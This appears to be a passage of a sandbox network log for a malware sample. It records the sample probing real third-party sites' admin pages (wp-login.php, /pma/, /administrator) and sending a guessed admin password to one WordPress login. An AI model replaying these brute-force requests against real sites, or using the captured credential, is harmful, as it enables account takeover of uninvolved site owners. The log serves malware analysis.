2023-11-26 05:59:43 UTC	6238	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 49 53 20 4f 66 66 72 6f 61 64 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; TIS Offroad — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/javascri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.4	65483	144.202.62.131	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	182	OUT	GET /wp-login.php HTTP/1.1 Host: gruporegiosafety.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	352	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 32 30 43 6f 6f 6b 69 65 25 32 30 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:43 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Frame-Options: SAMEORIGINSet-Cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/;
2023-11-26 05:59:45 UTC	7840	IN	Data Raw: 32 38 32 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 4d 58 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 41 63 63 65 64 65 72 20 26 6c 73 61 71 75 6f 3b 20 47 52 55 50 4f 20 52 45 47 49 4f 20 53 41 46 45 54 59 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 2e 6c 6f 67 69 6e 2d 61 63 74 69 6f 6e 2d 6c 6f 73 74 70 61 73 73 77 6f 72 64 20 23 6c 6f 67 69 6e 5f 65 72 72 6f 72 7b 0a 20 20 Data Ascii: 282a<!DOCTYPE html><html lang="es-MX"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Acceder &lsaquo; GRUPO REGIO SAFETY — WordPress</title> <style> .login-action-lostpassword #login_error{
2023-11-26 05:59:45 UTC	2448	IN	Data Raw: 20 25 32 24 73 21 20 55 73 65 20 25 33 24 73 20 69 6e 73 74 65 61 64 2e 20 50 6c 65 61 73 65 20 63 6f 6e 73 69 64 65 72 20 77 72 69 74 69 6e 67 20 6d 6f 72 65 20 69 6e 63 6c 75 73 69 76 65 20 63 6f 64 65 2e 22 3a 5b 22 5c 75 30 30 61 31 25 31 24 73 20 65 73 74 5c 75 30 30 65 31 20 65 6e 20 64 65 73 75 73 6f 20 64 65 73 64 65 20 6c 61 20 76 65 72 73 69 5c 75 30 30 66 33 6e 20 25 32 24 73 21 20 55 73 61 20 25 33 24 73 20 65 6e 20 73 75 20 6c 75 67 61 72 2e 20 50 6f 72 20 66 61 76 6f 72 20 63 6f 6e 73 69 64 65 72 61 20 65 73 63 72 69 62 69 72 20 75 6e 20 63 5c 75 30 30 66 33 64 69 67 6f 20 6d 5c 75 30 30 65 31 73 20 69 6e 63 6c 75 73 69 76 6f 2e 22 5d 7d 7d 2c 22 63 6f 6d 6d 65 6e 74 22 3a 7b 22 72 65 66 65 72 65 6e 63 65 22 3a 22 77 70 2d 61 64 6d 69 6e 5c Data Ascii: %2$s! Use %3$s instead. Please consider writing more inclusive code.":["\u00a1%1$s est\u00e1 en desuso desde la versi\u00f3n %2$s! Usa %3$s en su lugar. Por favor considera escribir un c\u00f3digo m\u00e1s inclusivo."]}},"comment":{"reference":"wp-admin\
2023-11-26 05:59:45 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.4	49362	172.96.186.206	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	330	OUT	POST /wp-login.php HTTP/1.1 Host: samson.pe Accept: / Accept-Encoding: deflate, gzip Cookie: wordpress_test_cookie=WP+Cookie+check User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://samson.pe/wp-login.php Content-Length: 136 Content-Type: application/x-www-form-urlencoded
2023-11-26 05:59:43 UTC	136	OUT	Data Raw: 6c 6f 67 3d 61 64 6d 69 6e 26 70 77 64 3d 37 31 32 33 73 61 6d 73 6f 6e 26 72 65 6d 65 6d 62 65 72 6d 65 3d 66 6f 72 65 76 65 72 26 77 70 2d 73 75 62 6d 69 74 3d 49 6e 69 63 69 61 72 2b 73 65 73 69 25 43 33 25 42 33 6e 26 72 65 64 69 72 65 63 74 5f 74 6f 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 73 61 6d 73 6f 6e 2e 70 65 25 32 46 77 70 2d 61 64 6d 69 6e 25 32 46 26 74 65 73 74 63 6f 6f 6b 69 65 3d 31 Data Ascii: log=admin&pwd=7123samson&rememberme=forever&wp-submit=Iniciar+sesi%C3%B3n&redirect_to=https%3A%2F%2Fsamson.pe%2Fwp-admin%2F&testcookie=1
2023-11-26 05:59:43 UTC	555	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 37 2e 32 2e 33 34 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 2b 43 6f 6f 6b 69 65 2b 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 73 Data Ascii: HTTP/1.1 200 OKConnection: closex-powered-by: PHP/7.2.34expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP+Cookie+check; path=/; s
2023-11-26 05:59:43 UTC	813	IN	Data Raw: 32 34 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 50 45 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 49 6e 69 63 69 61 72 20 73 65 73 69 c3 b3 6e 20 26 6c 73 61 71 75 6f 3b 20 53 61 6d 73 6f 6e 20 43 6f 6e 74 72 6f 6c 73 20 50 65 72 c3 ba 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 21 Data Ascii: 242d<!DOCTYPE html><html lang="es-PE"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Iniciar sesin &lsaquo; Samson Controls Per — WordPress</title><meta name='robots' content='noindex, follow' /><!
2023-11-26 05:59:43 UTC	8456	IN	Data Raw: 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 6f 67 69 6e 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 73 61 6d 73 6f 6e 2e 70 65 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 6f 67 69 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 53 69 74 65 20 4b 69 74 20 62 79 20 47 6f 6f 67 6c 65 20 31 2e 31 31 34 2e 30 22 20 2f 3e 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 65 66 65 72 72 65 72 27 20 63 6f 6e 74 65 6e 74 3d 27 73 74 72 69 63 74 2d 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 2d 6f 72 69 67 69 6e 27 20 2f 3e 0a 09 09 Data Ascii: l='stylesheet' id='login-css' href='https://samson.pe/wp-admin/css/login.min.css?ver=6.4.1' type='text/css' media='all' /><meta name="generator" content="Site Kit by Google 1.114.0" /><meta name='referrer' content='strict-origin-when-cross-origin' />
2023-11-26 05:59:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.4	49296	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	167	OUT	GET /admin HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	294	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 70 61 67 65 73 2f 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:43 GMTServer: Apache/2.4.52 (Ubuntu)location: https://ce-logic.com/admin/pages/vary: X-Forwarded-Protocolcache-control: no-cache, no-store, must-revalidateContent-Length: 0Connection: closeCon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.4	65301	15.236.29.106	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	162	OUT	GET / HTTP/1.1 Host: getquipu.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	358	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 34 36 34 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 65 64 3a 20 54 68 75 2c 20 32 33 20 4e 6f 76 20 32 30 32 33 20 31 34 3a 33 35 3a 30 33 20 47 4d 54 0d 0a 45 54 61 67 3a 20 22 36 35 35 66 36 33 31 37 2d 31 37 31 62 31 22 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:43 GMTContent-Type: text/htmlContent-Length: 94641Connection: closeLast-Modified: Thu, 23 Nov 2023 14:35:03 GMTETag: "655f6317-171b1"Strict-Transport-Security: max-age=31536000; incl
2023-11-26 05:59:43 UTC	16026	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 20 4c 61 73 74 20 50 75 62 6c 69 73 68 65 64 3a 20 54 68 75 20 4e 6f 76 20 32 33 20 32 30 32 33 20 31 34 3a 30 37 3a 33 37 20 47 4d 54 2b 30 30 30 30 20 28 43 6f 6f 72 64 69 6e 61 74 65 64 20 55 6e 69 76 65 72 73 61 6c 20 54 69 6d 65 29 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 0a 20 20 64 61 74 61 2d 77 66 2d 70 61 67 65 3d 22 36 35 35 37 39 32 66 62 30 36 30 66 34 66 34 30 65 33 37 66 62 36 62 64 22 0a 20 20 64 61 74 61 2d 77 66 2d 73 69 74 65 3d 22 36 34 30 30 63 34 39 64 66 66 34 62 34 35 38 36 34 65 38 39 36 61 34 62 22 0a 20 20 6c 61 6e 67 3d 22 65 73 22 0a 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 Data Ascii: <!DOCTYPE html>... Last Published: Thu Nov 23 2023 14:07:37 GMT+0000 (Coordinated Universal Time) --><html data-wf-page="655792fb060f4f40e37fb6bd" data-wf-site="6400c49dff4b45864e896a4b" lang="es"> <head> <meta charset="utf-8" /> <ti
2023-11-26 05:59:43 UTC	16384	IN	Data Raw: 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 75 69 2d 74 65 78 74 2d 73 69 7a 65 2d 73 6d 61 6c 6c 2d 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 43 6f 6e 6f 63 65 20 65 6c 20 65 73 74 61 64 6f 20 64 65 20 74 75 20 66 61 63 74 75 72 61 63 69 c3 b3 6e 20 70 6f 72 20 63 6f 6e 74 61 63 74 6f 2e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: v> <div class="uui-text-size-small-2"> Conoce el estado de tu facturacin por contacto. </div> </div> </a>
2023-11-26 05:59:43 UTC	16384	IN	Data Raw: 2f 70 65 72 73 6f 6e 61 6c 69 7a 61 72 2d 66 61 63 74 75 72 61 2e 6a 73 6f 6e 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 6c 6f 6f 70 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 69 72 65 63 74 69 6f 6e 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 61 75 74 6f 70 6c 61 79 3d 22 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 69 73 2d 69 78 32 2d 74 61 72 67 65 74 3d 22 30 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 72 65 6e 64 65 72 65 72 3d 22 73 76 67 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 61 74 61 2d 64 75 72 61 74 69 6f 6e Data Ascii: /personalizar-factura.json" data-loop="1" data-direction="1" data-autoplay="1" data-is-ix2-target="0" data-renderer="svg" data-duration
2023-11-26 05:59:43 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 74 3d 22 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 69 6d 61 67 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 77 2d 6e 6f 64 65 2d 5f 35 66 38 65 31 64 33 31 2d 38 66 61 38 2d 64 35 63 31 2d 36 30 34 36 2d 30 37 62 34 31 32 34 39 33 63 37 36 2d 31 32 34 39 33 63 37 31 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 64 69 76 20 62 67 5f 5f 67 72 65 65 6e 5f 69 6d 61 67 65 20 66 75 6c 6c 2d 63 65 6e 74 65 72 20 72 6f 75 6e 64 65 64 5f 5f 32 30 70 78 22 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: " alt="" class="image" /> </div> <div id="w-node-_5f8e1d31-8fa8-d5c1-6046-07b412493c76-12493c71" class="div bg__green_image full-center rounded__20px"
2023-11-26 05:59:43 UTC	16384	IN	Data Raw: 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 49 6e 67 72 65 73 6f 73 20 79 20 67 61 73 74 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6f 62 72 6f 73 2d 79 2d 70 61 67 6f 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 6e 6b 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 43 6f 62 72 6f 73 20 79 20 70 61 67 6f 73 3c 2f 61 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 65 73 2f 67 65 73 74 69 6f 6e 2d 63 6c 69 65 6e 74 65 73 2d 70 72 6f 76 65 65 64 6f 72 65 73 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 66 6f 6f 74 65 72 2d 6c 69 Data Ascii: ter-link" >Ingresos y gastos</a > <a href="es/gestion-cobros-y-pagos" class="link footer-link" >Cobros y pagos</a > <a href="es/gestion-clientes-proveedores" class="link footer-li
2023-11-26 05:59:43 UTC	13079	IN	Data Raw: 20 34 30 2e 38 37 34 39 20 33 33 2e 30 35 31 39 20 34 31 2e 30 37 30 35 20 33 33 2e 34 35 33 39 4c 34 31 2e 39 33 39 37 20 33 35 2e 31 39 32 34 43 34 32 2e 30 39 31 38 20 33 35 2e 34 38 35 37 20 34 32 2e 33 37 34 33 20 33 35 2e 36 34 38 37 20 34 32 2e 36 37 38 35 20 33 35 2e 36 34 38 37 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 4d 33 33 2e 30 39 35 34 20 33 30 2e 34 32 32 35 43 33 33 2e 32 31 34 39 20 33 30 2e 34 32 32 35 20 33 33 2e 33 34 35 33 20 33 30 2e 33 39 20 33 33 2e 34 35 33 39 20 33 30 Data Ascii: 40.8749 33.0519 41.0705 33.4539L41.9397 35.1924C42.0918 35.4857 42.3743 35.6487 42.6785 35.6487Z" fill="white" ></path> <path d="M33.0954 30.4225C33.2149 30.4225 33.3453 30.39 33.4539 30

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.4	65271	35.164.64.246	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	167	OUT	GET /pma/ HTTP/1.1 Host: belongfbg.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	150	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 74 72 61 6e 73 66 65 72 2d 65 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:43 GMTcontent-type: text/html; charset=UTF-8transfer-encoding: chunkedconnection: close
2023-11-26 05:59:43 UTC	1321	IN	Data Raw: 35 32 32 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 0a 68 74 6d 6c 2c 62 6f 64 79 7b 0a 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 7d 0a 0a Data Ascii: 522<!doctype html><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><style type="text/css">html,body{ width:100%; height:100%; margin:0; padding:0;}
2023-11-26 05:59:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.4	65309	18.228.96.142	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	255	OUT	GET /administrator/index.php HTTP/1.1 Host: www.rechagricola.com.br Accept: / Accept-Encoding: deflate, gzip Cookie: originDirect=true User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.rech.com/
2023-11-26 05:59:43 UTC	354	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 72 65 63 68 2e 63 6f 6d 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 64 6f 6d 61 69 6e 73 3b 20 70 72 65 6c 6f 61 64 0d 0a 56 61 72 79 3a 20 41 63 63 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:43 GMTContent-Length: 0Connection: closeContent-Security-Policy: frame-ancestors 'self'Location: https://rech.comStrict-Transport-Security: max-age=315360000; includeSubdomains; preloadVary: Acc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.4	49351	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
